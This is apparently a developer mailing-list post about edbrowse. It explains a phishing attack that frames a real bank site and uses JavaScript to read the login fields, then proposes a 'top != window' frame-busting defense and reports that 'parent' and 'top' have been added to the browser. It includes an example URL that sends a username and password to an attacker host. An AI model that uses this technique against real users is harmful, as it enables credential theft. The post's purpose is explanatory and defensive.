So if I had an email server in China that spewed out millions of phishing emails each day, I could have those emails direct the user to a false site that was a blank window with a frame inside and that frame brings up Bank of America.com. This isn't a fake Bank of America site with copies of their logos and a perfect reproduction, no, it's their real site with the up to date images and even the personal picture that you selected, that goes with your cookie and your account, that comes up for security so you know it's the real site. But it's under my frame. You start to log in, you put in your user name and password, and before you can press submit, my javascript is dipping into the Bank of America objects every quarter second, specifically the values of the input fields of the form. Before you can log in my javascript captures your user name and password, and it sends them to me. How? By putting them as search on an http request to my website, which js can do.
https://my. china.site.com/boa?user=username&pass=password Isn't that all entirely doable, on any browser, including (perhaps) edbrowse? I can only think of one defense against this. In a hierarchy of frames, parent points to the frame above you, the frame that contains you, and top points to the top window that started it all, or at least that's how I think it's suppose to work. So bank of America, and every site that deals with critical information, should check if(top != window) { Replace the entire page with a warning that this page cannot be a frame in a larger page, and you are visiting a false site that is trying to jack your account information, and you should be more careful what you click on in your emails. } That's all I can think of. Anyways this is a long story to note that edbrowse now has parent and top as described above. It was only 12 lines of code, so I like that. On another note, I'm not entirely sure I set the right frame on various commands. If you click a button or hyperlink or anything that runs js, do I take the time to set the context according to the frame you're in? I'm not sure... Maybe these are things I should have checked before 3.7.0, but I imagine 3.7.1 will come soon enough, with these kinds of bug fixes, and the new autoexpansion of frames, which should make more sites accessible. Is there still a couple months before the distros put their packages together? I imagine they are all independent of each other, so maybe that's a silly question. We just plug away as we can. Karl Dahlke
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